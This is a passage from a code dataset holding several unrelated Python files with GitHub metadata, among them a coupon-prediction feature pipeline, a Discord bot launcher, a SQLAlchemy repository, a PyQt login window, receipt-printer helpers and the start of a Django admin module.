check_missing_ops(self):\n ops = set()\n for steps in self.calculation:\n for name, step in steps:\n ops.add(step)\n ops.update(x[0] for x in self.combination)\n missing = list(sorted(ops - set(OP_NAMES)))\n if missing:\n raise ValueError('missing ops: {}'.format(missing))\n\n @profile\n def extract(self, events, key, t):\n snapshot = EventsSnapshot(key, t)\n calculation_ops = {\n **CALCULATION_OPS,\n **snapshot.ops,\n }\n combination_ops = COMBINATION_OPS\n ret = []\n cache = {}\n for steps in self.calculation:\n arr = events\n for name, step in steps:\n if name in cache:\n arr = cache[name]\n else:\n arr = calculation_ops[step](arr)\n cache[name] = arr\n ret.append(arr)\n for op, left, right in self.combination:\n v = combination_ops[op](cache[left], cache[right])\n ret.append(v)\n return ret\n\n\nclass FeatureProcessor:\n\n def __init__(self, feature, split):\n self.feature = feature\n self.split = split\n self.name = feature.name\n self.is_multikey = not isinstance(feature.key_column, str)\n self.extractor = FeatureExtractor(feature.definition)\n if self.is_multikey:\n self.key_column = list(feature.key_column)\n self.columns = list(feature.key_column)\n else:\n self.key_column = feature.key_column\n self.columns = [feature.key_column]\n self.columns.append('date')\n self.columns.extend(self.extractor.features)\n\n def read_events(self):\n split = self.split.name\n with TLOG('read events'):\n df_events = pd.read_msgpack(f'data/z6_ts_{split}_events.msgpack')\n df_discount = pd.read_msgpack(f'data/z6_ts_{split}_discount.msgpack')\n df = with_discount(df_events, df_discount)\n with TLOG('build index events'):\n events = IndexedEvents(df, key_column=self.key_column)\n return events\n\n def read_keys(self):\n if self.is_multikey:\n key_column = '_'.join(self.key_column)\n else:\n key_column = self.key_column\n filepath = 'data/z6_ts_{split}_{key_column}.npy'.format(\n split=self.split.name,\n key_column=key_column,\n )\n with TLOG('read keys'):\n keys = np.load(filepath)\n if self.is_multikey:\n keys = [tuple(x) for x in keys]\n else:\n keys = keys.tolist()\n return keys\n\n @profile\n def process(self):\n is_multikey = self.is_multikey\n events = self.read_events()\n keys = self.read_keys()\n extract_feature = self.extractor.extract\n result = []\n for key in tqdm.tqdm(keys, desc=self.name):\n sub_events = events.loc(key)\n idx_date = np.unique(sub_events['t'])\n for t in idx_date:\n row = extract_feature(events, key, t)\n if is_multikey:\n result.append([*key, t, *row])\n else:\n result.append([key, t, *row])\n df_result = pd.DataFrame.from_records(result, columns=self.columns)\n return df_result\n\n def save_result(self, df):\n LOG.info('result shape={}, from={}, to={}',\n df.shape, format_date(df['date'].min()), format_date(df['date'].max()))\n filepath = 'data/z6_ts_{}_feature_{}.msgpack'.format(\n self.split.name, self.feature.name)\n with TLOG('save result'):\n df.to_msgpack(filepath)\n\n @staticmethod\n def main(feature, split):\n processor = FeatureProcessor(feature, split)\n df = processor.process()\n processor.save_result(df)\n\n\ndef date_of_days(days):\n return pd.Timestamp('2016-01-01') + pd.to_timedelta(days, unit='d')\n\n\ndef format_date(d):\n return date_of_days(d).date().isoformat()\n\n\ndef with_date_feature(df):\n t = date_of_days(df['date'])\n df['date_dayofweek'] = t.dt.dayofweek\n df['date_dayofmonth'] = t.dt.day\n df['date'] = t\n\n\nclass MergedFeature:\n\n @staticmethod\n def prefix_columns(df, prefix):\n cols = []\n sp_cols = {'date', 'user_id', 'merchant_id', 'coupon_id', 'label'}\n for x in df.columns:\n x = str(x)\n if x not in sp_cols:\n x = prefix + x\n cols.append(x)\n df = df.copy()\n df.columns = cols\n return df\n\n @classmethod\n def merge_feature(cls, df, df_user, df_merchant, df_coupon, df_user_merchant, df_user_coupon):\n df = df.copy()\n df['date'] = df['date'].dt.dayofyear - 1\n df_user = cls.prefix_columns(df_user, 'user:')\n df_merchant = cls.prefix_columns(df_merchant, 'merchant:')\n df_coupon = cls.prefix_columns(df_coupon, 'coupon:')\n df_user_merchant = cls.prefix_columns(df_user_merchant, 'user_merchant:')\n df = pd.merge(df, df_user, how='left',\n left_on=['user_id', 'date'],\n right_on=['user_id', 'date'])\n\n df = pd.merge(df, df_merchant, how='left',\n left_on=['merchant_id', 'date'],\n right_on=['merchant_id', 'date'])\n\n df = pd.merge(df, df_coupon, how='left',\n left_on=['coupon_id', 'date'],\n right_on=['coupon_id', 'date'])\n\n df = pd.merge(df, df_user_merchant, how='left',\n left_on=['user_id', 'merchant_id', 'date'],\n right_on=['user_id', 'merchant_id', 'date'])\n\n df = pd.merge(df, df_user_coupon, how='left',\n left_on=['user_id', 'coupon_id', 'date'],\n right_on=['user_id', 'coupon_id', 'date'])\n\n with_date_feature(df)\n df = df.reset_index(drop=True)\n return df\n\n @staticmethod\n def main(split):\n\n def read_dataframe(name):\n filepath = f'data/z6_ts_{split.name}_{name}.msgpack'\n return pd.read_msgpack(filepath)\n\n def save_dataframe(name, df):\n LOG.info(\n '{} shape={}, from={}, to={}',\n name, df.shape,\n df['date'].min().date().isoformat(),\n df['date'].max().date().isoformat()\n )\n filepath = f'data/z6_ts_{split.name}_merged_{name}.msgpack'\n return df.to_msgpack(filepath)\n\n with TLOG('read features'):\n df_user = read_dataframe('feature_user')\n df_merchant = read_dataframe('feature_merchant')\n df_coupon = read_dataframe('feature_coupon')\n df_user_merchant = read_dataframe('feature_user_merchant')\n df_user_coupon = read_dataframe('feature_user_coupon')\n df_discount = read_dataframe('discount')\n df_events = read_dataframe('events')\n feature_dfs = dict(\n df_user=df_user,\n df_merchant=df_merchant,\n df_coupon=df_coupon,\n df_user_merchant=df_user_merchant,\n df_user_coupon=df_user_coupon,\n )\n\n LOG.info('split train/test')\n common_cols = [\n 'user_id', 'merchant_id', 'coupon_id',\n 'date', 'distance', 'discount_name',\n ]\n mask = df_events['event_type'] == 'offline_receive_coupon'\n df_train = df_events.loc[\n mask & (df_events['date'] >= split.train_begin) &\n (df_events['date'] <= split.train_end),\n common_cols + ['label']\n ].copy()\n if split.test_has_label:\n test_cols = common_cols + ['label']\n else:\n test_cols = common_cols\n df_test = df_events.loc[\n mask & (df_events['date'] >= split.test_begin) &\n (df_events['date'] <= split.test_end),\n test_cols\n ].copy()\n\n LOG.info('merge for test')\n df = MergedFeature.merge_feature(\n with_discount(df_test, df_discount), **feature_dfs)\n save_dataframe('test', df)\n\n LOG.info('merge for train')\n df = MergedFeature.merge_feature(\n with_discount(df_train, df_discount), **feature_dfs)\n save_dataframe('train', df)\n\n\ndef get_split():\n split_name = get_config('SPLIT', 'validate')\n splits = [TestSplit, ValidateSplit]\n splits = {x.name: x for x in splits}\n return splits[split_name]\n\n\nif __name__ == \"__main__\":\n split = get_split()\n LOG.info('split={}', split.name)\n O2OEvents.main(split=split)\n for feat in FEATURES:\n with TLOG(f'process {feat.name} feature'):\n FeatureProcessor.main(feat, split=split)\n with TLOG(f'merge features'):\n MergedFeature.main(split=split)\n","repo_name":"guyskk/tianchi-o2o-coupon-usage-predict","sub_path":"pipeline/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":24218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70943654311","text":"from datetime import datetime, timedelta\n\nminute_blocks = [[0, 15], [15, 30], [30, 45], [45, 59]]\n\n\ndef round_timeblocks(list_of_timeblocks: list) -> list:\n \"\"\"\n This function will take the first free timeslot (since its based on NOW)\n and break it into 2 parts. the break point will be the nearest 15 minutes.\n The returned list will have at most 1 extra timeblock\n\n Input\n list_of_timeblocks: list of list of 2 timestamps (each formatted as described above)\n Example: [\n ['2019-12-20T09:35:00+01:00', '2019-12-20T10:00:00+01:00'],\n ['2019-12-20T10:00:00+01:00', '2019-12-20T12:13:00+01:00']\n ]\n\n Output\n round_timeblocks: list of list of 2 timestamps (each formatted as described above)\n Example: [\n ['2019-12-20T09:35:00+01:00', '2019-12-20T09:45:00+01:00'],\n ['2019-12-20T09:45:00+01:00', '2019-12-20T10:00:00+01:00'],\n ['2019-12-20T10:00:00+01:00', '2019-12-20T12:13:00+01:00']\n ]\n\n Doctest\n >>> round_timeblocks([['2019-12-20T09:35:00+01:00', '2019-12-20T10:00:00+01:00'], ['2019-12-20T10:00:00+01:00', '2019-12-20T12:13:00+01:00']])\n [['2019-12-20T09:35:00+01:00', '2019-12-20T09:45:00+01:00'], ['2019-12-20T09:45:00+01:00', '2019-12-20T10:00:00+01:00'], ['2019-12-20T10:00:00+01:00', '2019-12-20T12:13:00+01:00']]\n \"\"\"\n\n if len(list_of_timeblocks) == 0:\n return list_of_timeblocks\n\n round_timeblocks = list_of_timeblocks[1:]\n first_timeblock = list_of_timeblocks[0]\n first_timestamp = first_timeblock[0]\n\n minute_of_timestamp = datetime.fromisoformat(first_timestamp).minute\n hour_of_timestamp = datetime.fromisoformat(first_timestamp).hour\n\n if hour_of_timestamp == 23:\n return list_of_timeblocks\n\n block_index = None\n new_minute = None\n\n for i, block in enumerate(minute_blocks):\n if block[1] >= minute_of_timestamp >= block[0]:\n block_index = i\n\n temp_time = datetime.fromisoformat(first_timestamp)\n try:\n new_minute = minute_blocks[block_index + 1][0]\n break_point = temp_time.replace(minute=new_minute, second=0, microsecond=0)\n except IndexError:\n break_point = temp_time.replace(minute=0, second=0, microsecond=0) + timedelta(\n hours=1\n )\n\n break_point_string = break_point.isoformat()\n\n new_timeblocks = [\n [first_timeblock[0], break_point_string],\n [break_point_string, first_timeblock[1]],\n ]\n new_timeblocks.reverse()\n\n for i in new_timeblocks:\n round_timeblocks.insert(0, i)\n\n return round_timeblocks\n","repo_name":"DoctorrDeep/make_my_day_planner","sub_path":"app_scripts/round_timeblocks.py","file_name":"round_timeblocks.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"13134365458","text":"'''\nGiven the root to a binary tree, implement serialize(root), which serializes the tree into a string, and deserialize(s), which deserializes the string back into the tree.\n\nFor example, given the following Node class\n\nclass Node:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nThe following test should pass:\n\nnode = Node('root', Node('left', Node('left.left')), Node('right'))\nassert deserialize(serialize(node)).left.left.val == 'left.left'\n'''\n\n'''\n tree\n representation\n \n root\n / |\n left right\n /\n left.left\n \nstring representation: (((()left.left())left())root(()right()))\n\nwith this, '(' and ')' are illegal characters for value in tree\n this can be changed under the class Node (leftBracket, rightBracket)\n\n'''\n\nclass Node:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nleftBracket = \"(\"\nrightBracket = \")\"\n\n# tree - > string\ndef serialize(node):\n returnstring = \"\"\n if(node.left):\n returnstring += serialize(node.left)\n else:\n returnstring += \"()\"\n returnstring+=node.val\n if(node.right):\n returnstring += serialize(node.right)\n else:\n returnstring += \"()\"\n return leftBracket+returnstring+rightBracket\n\ndef deserialize(strng):\n if(strng == \"()\"):\n return None\n brackets = []\n for i in range(len(strng)):\n if(strng[i] == \"(\"):\n brackets.append([i, -1])\n if(strng[i] == \")\"):\n for ind in range(len(brackets)-1, -1, -1):\n if(brackets[ind][1] == -1):\n brackets[ind][1] = i\n break\n rB = brackets[1][1] # rB = right Brackets\n for i in range(len(brackets)):\n if rB < brackets[i][0]:\n rB = i\n break\n mainNode = Node(strng[brackets[1][1]+1:brackets[rB][0]],\n deserialize(strng[brackets[1][0]:brackets[1][1]+1]),\n deserialize(strng[brackets[rB][0]:brackets[rB][1]+1]))\n return mainNode\n\n\n\n\n\n\n# Main Function\n\nnode = Node('root', Node('left', Node('left.left')), Node('right'))\n# testnode = Node('root', Node('left', Node('left.left'), Node('left.right',Node('left.right.left'))),Node('right', Node('right.left'), Node('right.right')))\nstrrep = serialize(node)\ntree = deserialize(strrep)\n\n\nassert deserialize(serialize(node)).left.left.val == 'left.left'\n","repo_name":"Neminem1203/Puzzles","sub_path":"DailyCodingProblem/3-serializeDeserialize.py","file_name":"3-serializeDeserialize.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"32957451590","text":"\"\"\"Initializes the bot and deals with the configuration file\"\"\"\n\nimport json\nimport os\nimport sys\nimport asyncio\nimport uvloop\nfrom .db import db_init\nfrom . import db\n\n# switch to uvloop for event loops\nasyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n\nconfig = {\n 'prefix': '&', 'developers': [],\n 'tba': {\n 'key': ''\n },\n 'toa': {\n 'key': 'Put TOA API key here',\n 'app_name': 'Dozer',\n 'teamdata_url': ''\n },\n 'log_level': 'INFO',\n 'db_url': 'sqlite:///dozer.db',\n 'gmaps_key': \"PUT GOOGLE MAPS API KEY HERE\",\n 'tz_url': '',\n 'discord_token': \"Put Discord API Token here.\",\n 'is_backup': False\n}\nconfig_file = 'config.json'\n\nif os.path.isfile(config_file):\n with open(config_file) as f:\n config.update(json.load(f))\n\ndb_init(config['db_url'])\n\nwith open('config.json', 'w') as f:\n json.dump(config, f, indent='\\t')\n\nif 'discord_token' not in config:\n sys.exit('Discord token must be supplied in configuration')\n\nif sys.version_info < (3, 6):\n sys.exit('Dozer requires Python 3.6 or higher to run. This is version %s.' % '.'.join(sys.version_info[:3]))\n\nfrom . import Dozer # After version check\n\nbot = Dozer(config)\n\nfor ext in os.listdir('dozer/cogs'):\n if not ext.startswith(('_', '.')):\n bot.load_extension('dozer.cogs.' + ext[:-3]) # Remove '.py'\n\ndb.DatabaseObject.metadata.create_all()\nbot.run()\n\n# restart the bot if the bot flagged itself to do so\nif bot._restarting:\n script = sys.argv[0]\n if script.startswith(os.getcwd()):\n script = script[len(os.getcwd()):].lstrip(os.sep)\n\n if script.endswith('__main__.py'):\n args = [sys.executable, '-m', script[:-len('__main__.py')].rstrip(os.sep).replace(os.sep, '.')]\n else:\n args = [sys.executable, script]\n os.execv(sys.executable, args + sys.argv[1:])\n","repo_name":"guineawheek/FTC-Server-Dozer","sub_path":"dozer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"39163693069","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# db_Retrieve.py\n# @Author : Ivan-杨杨兮 (523166477@qq.com)\n# @Link : www.cgartech.com\n# @Date : 2019/2/28 下午11:16:44\n\n\nimport sqlite3\n\nconn = sqlite3.connect(\"./test.db\")\nconn.text_factory = str\n\nc = conn.cursor()\n\n# 检索一条记录\nc.execute('SELECT name FROM category ORDER BY sort')\nprint(c.fetchone())\nprint(c.fetchone())\n\n# 将所有记录检索为列表\nc.execute('SELECT * FROM book WHERE book.category=1')\nprint(c.fetchall())\n\n# 遍历记录\nfor row in c.execute('SELECT name, price FROM book ORDER BY sort'):\n print(row)\n\n# 遍历记录方法2\nresults = c.execute('SELECT sort, price FROM book')\nall_Results = results.fetchall()\nfor row in all_Results:\n print(row)","repo_name":"IvanYangYangXi/pythonMaya","sub_path":"study/sqlite/db_Retrieve.py","file_name":"db_Retrieve.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38782463670","text":"import json\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options \nfrom dotenv import load_dotenv\n\n\nload_dotenv('.env')\noptions = Options()\noptions.headless=True\n\n\ndef get_info():\n url = os.getenv('URL_YOUTUBE')\n driver = webdriver.Chrome(os.getenv('CHROMEDRIVER_URL'),\n options=options)\n driver.get(url)\n References = {}\n\n References['Subscribers'] = \"//*[@id='subscriber-count']\"\n\n INFO_List = list()\n for i in range(0,len(References)):\n driver_elements = driver.find_element_by_xpath(\n References[list(References.keys())[i]]\n )\n INFO_List.append(driver_elements.text)\n\n Vid = dict(zip(list(References.keys()), INFO_List))\n\n with open('yt.json', 'w', encoding='utf8') as ditcu:\n json.dump(Vid, ditcu, ensure_ascii=False)\n return(Vid)\n\n\nif __name__ == '__main__':\n get_info()\n","repo_name":"ductnn/animscra","sub_path":"animscra/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24858439937","text":"from sqlalchemy import desc, select, text\nfrom sqlalchemy.exc import NoResultFound\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom lms.db.models import TeacherProduct, TeacherProductFlow\nfrom lms.db.repositories.base import Repository\nfrom lms.dto import TeacherDashboardData, TeacherProductDto\nfrom lms.enums import TeacherType\nfrom lms.exceptions import TeacherProductNotFoundError\nfrom lms.exceptions.base import EntityNotFoundError\n\n\nclass TeacherProductRepository(Repository[TeacherProduct]):\n def __init__(self, session: AsyncSession) -> None:\n super().__init__(model=TeacherProduct, session=session)\n\n async def read_by_id(self, teacher_product_id: int) -> TeacherProductDto:\n try:\n obj = await self._read_by_id(teacher_product_id)\n return TeacherProductDto.from_orm(obj)\n except EntityNotFoundError as e:\n raise TeacherProductNotFoundError from e\n\n async def find_by_teacher_and_product(\n self, teacher_id: int, product_id: int\n ) -> TeacherProductDto:\n stmt = select(TeacherProduct).filter_by(\n teacher_id=teacher_id, product_id=product_id\n )\n try:\n obj = (await self._session.scalars(stmt)).one()\n return TeacherProductDto.from_orm(obj)\n except NoResultFound as e:\n raise TeacherProductNotFoundError from e\n\n async def get_for_enroll(\n self,\n product_id: int,\n teacher_type: TeacherType,\n flow_id: int | None = None,\n ) -> TeacherProduct:\n if flow_id is not None:\n teacher_product = await self._search_with_flow(\n product_id=product_id,\n teacher_type=teacher_type,\n flow_id=flow_id,\n )\n if teacher_product is not None:\n return teacher_product\n\n return await self._search_without_flow(\n product_id=product_id, teacher_type=teacher_type\n )\n\n async def _search_with_flow(\n self, product_id: int, teacher_type: TeacherType, flow_id: int\n ) -> TeacherProduct | None:\n query = (\n select(TeacherProduct)\n .join(\n TeacherProductFlow,\n TeacherProductFlow.teacher_product_id == TeacherProduct.id,\n )\n .where(\n TeacherProduct.product_id == product_id,\n TeacherProduct.type == teacher_type,\n TeacherProduct.max_students > 0,\n TeacherProduct.is_active.is_(True),\n TeacherProductFlow.flow_id == flow_id,\n )\n .order_by(desc(TeacherProduct.average_grade))\n .limit(1)\n )\n\n return (await self._session.scalars(query)).first()\n\n async def _search_without_flow(\n self,\n product_id: int,\n teacher_type: TeacherType,\n ) -> TeacherProduct:\n query = (\n select(TeacherProduct)\n .where(\n TeacherProduct.product_id == product_id,\n TeacherProduct.type == teacher_type,\n TeacherProduct.max_students > 0,\n TeacherProduct.is_active.is_(True),\n )\n .order_by(desc(TeacherProduct.average_grade))\n .limit(1)\n )\n\n teacher_product = (await self._session.scalars(query)).first()\n if teacher_product is None:\n raise TeacherProductNotFoundError\n return teacher_product\n\n async def add_grade(self, teacher_product_id: int, grade: int) -> None:\n teacher_product = await self.read_by_id(teacher_product_id=teacher_product_id)\n new_average_grade = (\n teacher_product.average_grade * teacher_product.grade_counter + grade\n ) / (teacher_product.grade_counter + 1)\n await self._update(\n TeacherProduct.id == teacher_product.id,\n average_grade=new_average_grade,\n grade_counter=teacher_product.grade_counter + 1,\n )\n\n async def get_dashboard_data(self, product_id: int) -> list[TeacherDashboardData]:\n stmt = \"\"\"\n SELECT\n teacher_product.id,\n CONCAT(teacher.first_name, ' ', teacher.last_name) AS name,\n teacher.vk_id,\n teacher_product.is_active,\n teacher_product.type,\n teacher_product.max_students,\n CASE\n WHEN tmp.filled IS NOT NULL THEN tmp.filled\n ELSE 0\n END AS filled,\n teacher_product.average_grade,\n CASE\n WHEN tpf.flows IS NOT NULL THEN tpf.flows\n ELSE ''\n END AS flows\n FROM teacher_product\n JOIN teacher ON teacher_product.teacher_id = teacher.id\n LEFT JOIN (\n SELECT\n teacher_product_id,\n COUNT(*) AS filled\n FROM student_product GROUP BY teacher_product_id\n ) tmp ON teacher_product.id = tmp.teacher_product_id\n LEFT JOIN (\n SELECT\n teacher_product_id,\n STRING_AGG(CAST(flow_id AS VARCHAR(5)), ', ') AS flows\n FROM teacher_product_flow\n group by teacher_product_id\n ) tpf ON teacher_product.id = tpf.teacher_product_id\n WHERE teacher_product.product_id = :product_id\n ORDER BY teacher.first_name\n \"\"\"\n result = await self._session.execute(text(stmt), {\"product_id\": product_id})\n return [TeacherDashboardData(*r) for r in result]\n","repo_name":"Academy-A/lms","sub_path":"lms/db/repositories/teacher_product.py","file_name":"teacher_product.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"26994506883","text":"class Solution(object):\n\n def findItinerary(self, tickets):\n\n dest = dict()\n length = len(tickets) + 1\n\n for ticket in tickets:\n tmp = dest.get(ticket[0], list())\n tmp.append(ticket[1])\n dest[ticket[0]] = tmp\n dest[ticket[1]] = dest.get(ticket[1], list())\n\n def dfs(start, stack):\n nonlocal dest, length\n if len(stack) == length:\n return stack\n if len(stack) > length:\n return\n\n dest[start].sort()\n for i, x in enumerate(dest[start]):\n stack.append(x)\n dest[start].pop(i)\n worked = dfs(x, stack)\n if worked:\n return worked\n dest[start].insert(i, x)\n stack.pop()\n\n stack = [\"JFK\"]\n return dfs(\"JFK\", stack)\n","repo_name":"xidongc/py_leetcode","sub_path":"dfs/reconstruct itinerary.py","file_name":"reconstruct itinerary.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"71"} +{"seq_id":"71339140070","text":"import multiprocessing\nimport logging\nimport sys\n\n\ndef worker():\n print('Doing some work', flush=True)\n\n\nif __name__ == '__main__':\n multiprocessing.log_to_stderr(logging.DEBUG)\n p = multiprocessing.Process(target=worker)\n p.start()\n p.join()\n print('==='*15)\n # MANIPULATE THE LOGGER DIRECTLY \n multiprocessing.log_to_stderr()\n logger = multiprocessing.get_logger()\n logger.setLevel(logging.INFO)\n p2 = multiprocessing.Process(target=worker)\n p2.start()\n p2.join()","repo_name":"Koubae/Programming-CookBook","sub_path":"Programming Languages/Python/MultiProcessing-Threading/MultiProcessing/loggin.py","file_name":"loggin.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"71"} +{"seq_id":"9962580900","text":"from PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(430, 283)\n MainWindow.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor))\n MainWindow.setStyleSheet(\"\")\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.widget = QtWidgets.QWidget(self.centralwidget)\n self.widget.setGeometry(QtCore.QRect(130, 60, 173, 94))\n self.widget.setObjectName(\"widget\")\n self.gridLayout_2 = QtWidgets.QGridLayout(self.widget)\n self.gridLayout_2.setContentsMargins(0, 0, 0, 0)\n self.gridLayout_2.setObjectName(\"gridLayout_2\")\n self.pushButton = QtWidgets.QPushButton(self.widget)\n self.pushButton.setObjectName(\"pushButton\")\n self.gridLayout_2.addWidget(self.pushButton, 1, 0, 1, 1)\n self.gridLayout = QtWidgets.QGridLayout()\n self.gridLayout.setObjectName(\"gridLayout\")\n self.label = QtWidgets.QLabel(self.widget)\n self.label.setObjectName(\"label\")\n self.gridLayout.addWidget(self.label, 0, 0, 1, 1, QtCore.Qt.AlignVCenter)\n self.lineEdit = QtWidgets.QLineEdit(self.widget)\n self.lineEdit.setObjectName(\"lineEdit\")\n self.gridLayout.addWidget(self.lineEdit, 0, 1, 1, 1)\n self.label_2 = QtWidgets.QLabel(self.widget)\n self.label_2.setObjectName(\"label_2\")\n self.gridLayout.addWidget(self.label_2, 1, 0, 1, 1)\n self.lineEdit_2 = QtWidgets.QLineEdit(self.widget)\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\n self.gridLayout.addWidget(self.lineEdit_2, 1, 1, 1, 1, QtCore.Qt.AlignHCenter)\n self.gridLayout_2.addLayout(self.gridLayout, 0, 0, 1, 1)\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 430, 23))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n self.pushButton.clicked.connect(MainWindow.verifyPassword) # type: ignore\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n self.pushButton.setText(_translate(\"MainWindow\", \"PushButton\"))\n self.label.setText(_translate(\"MainWindow\", \"TextLabel\"))\n self.label_2.setText(_translate(\"MainWindow\", \"TextLabel\"))\n","repo_name":"Sesiosin/HolyVan","sub_path":"LoginMenu2.py","file_name":"LoginMenu2.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31904884084","text":"from textwrap import wrap\nfrom escpos.connections import getUSBPrinter\nimport time\n\n\ndef currencyFormater (num):\n desimalIndex= str(num).find('.')\n if desimalIndex>-1:\n list = wrap(str(num)[desimalIndex-1::-1], 3)\n return ','.join(list)[::-1]+str(num)[desimalIndex:desimalIndex+3] \n list = wrap(str(num)[::-1], 3)\n return ','.join(list)[::-1]\n\n\n\n\ndef configPrinter (printerInfo, name='Printer', timeOut=5):\n timeStart = time.time()\n timeOut=timeOut*60\n while (True):\n try:\n printer = getUSBPrinter()(idVendor=int(printerInfo['idVendor'],16), # USB vendor and product Ids for Bixolon SRP-350plus\n idProduct=int(printerInfo['idProduct'],16), # printer\n inputEndPoint=int(printerInfo['inputEndPoint'],16),\n outputEndPoint=int(printerInfo['outputEndPoint'],16))\n print (name+' DETECTED')\n return printer\n except RuntimeError:\n print (name+' NOT DETECTED')\n print ('Waiting For '+name)\n time.sleep(5)\n if (time.time()>timeStart+timeOut):\n print (\"waiting timeout for printer Search\")\n return False\n \n\n#print (currencyFormater('12345.50000'))","repo_name":"Instant-Digits/SmartPosPrinters","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12965750701","text":"\"\"\"\n.. module:: social_media.admin\n :synopsis: Django social_media application admin module.\n\nDjango social_media application admin module.\n\n\"\"\"\nfrom __future__ import absolute_import\n\nfrom django.contrib import admin\n\nfrom django_core_utils.admin import (NamedModelAdmin, VersionedModelAdmin,\n admin_site_register,\n named_model_admin_class_attrs)\nfrom python_core_utils.core import class_name\n\nfrom . import forms\nfrom . import models\n\n\n_versioned_field_sets = VersionedModelAdmin.get_field_sets()\n_email_fields = (\n (\"address\",),)\n\n\nclass EmailAdmin(VersionedModelAdmin):\n \"\"\"\n Email model admin class\n \"\"\"\n form = forms.EmailAdminForm\n list_display = (\"id\", \"address\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"address\",)\n\n fieldsets = (\n (\"Email\",\n {\"fields\": _email_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n\n_formatted_name_fields = (\n (\"name\",),)\n\n\nclass FormattedNameAdmin(VersionedModelAdmin):\n \"\"\"\n FormattedName model admin class\n \"\"\"\n form = forms.FormattedNameAdminForm\n list_display = (\"id\", \"name\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"name\",)\n\n fieldsets = (\n (\"Formatted name\",\n {\"fields\": _formatted_name_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n_instant_messaging_fields = (\n (\"address\",),)\n\n\nclass InstantMessagingAdmin(VersionedModelAdmin):\n \"\"\"\n InstantMessaging model admin class\n \"\"\"\n form = forms.InstantMessagingAdminForm\n list_display = (\"id\", \"address\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"address\",)\n\n fieldsets = (\n (\"Instant messaging\",\n {\"fields\": _instant_messaging_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n\n_name_fields = (\n (\"family_name\",),\n (\"given_name\",),\n (\"additional_name\",),\n (\"honorific_prefix\",),\n (\"honorific_suffix\",),)\n\n\nclass NameAdmin(VersionedModelAdmin):\n \"\"\"\n Name model admin class\n \"\"\"\n form = forms.NameAdminForm\n list_display = (\"id\", \"family_name\", \"given_name\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"family_name\",)\n fieldsets = (\n (\"Name\",\n {\"fields\": _name_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n\n_nickname_fields = (\n (\"name\",),)\n\n\nclass NicknameAdmin(VersionedModelAdmin):\n \"\"\"\n Nickname model admin class\n \"\"\"\n form = forms.NicknameAdminForm\n list_display = (\"id\", \"name\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"name\",)\n\n fieldsets = (\n (\"Nickname\",\n {\"fields\": _nickname_fields}),\n ) + _versioned_field_sets\n limit_qs_to_request_user = True\n\n_phone_fields = (\n (\"number\",),)\n\n\nclass PhoneAdmin(VersionedModelAdmin):\n \"\"\"\n Phone model admin class\n \"\"\"\n form = forms.NameAdminForm\n list_display = (\"id\", \"number\",\n \"version\", \"update_time\", \"update_user\")\n list_display_links = (\"id\", \"number\",)\n\n fieldsets = (\n (\"Phone\",\n {\"fields\": _phone_fields}),\n ) + 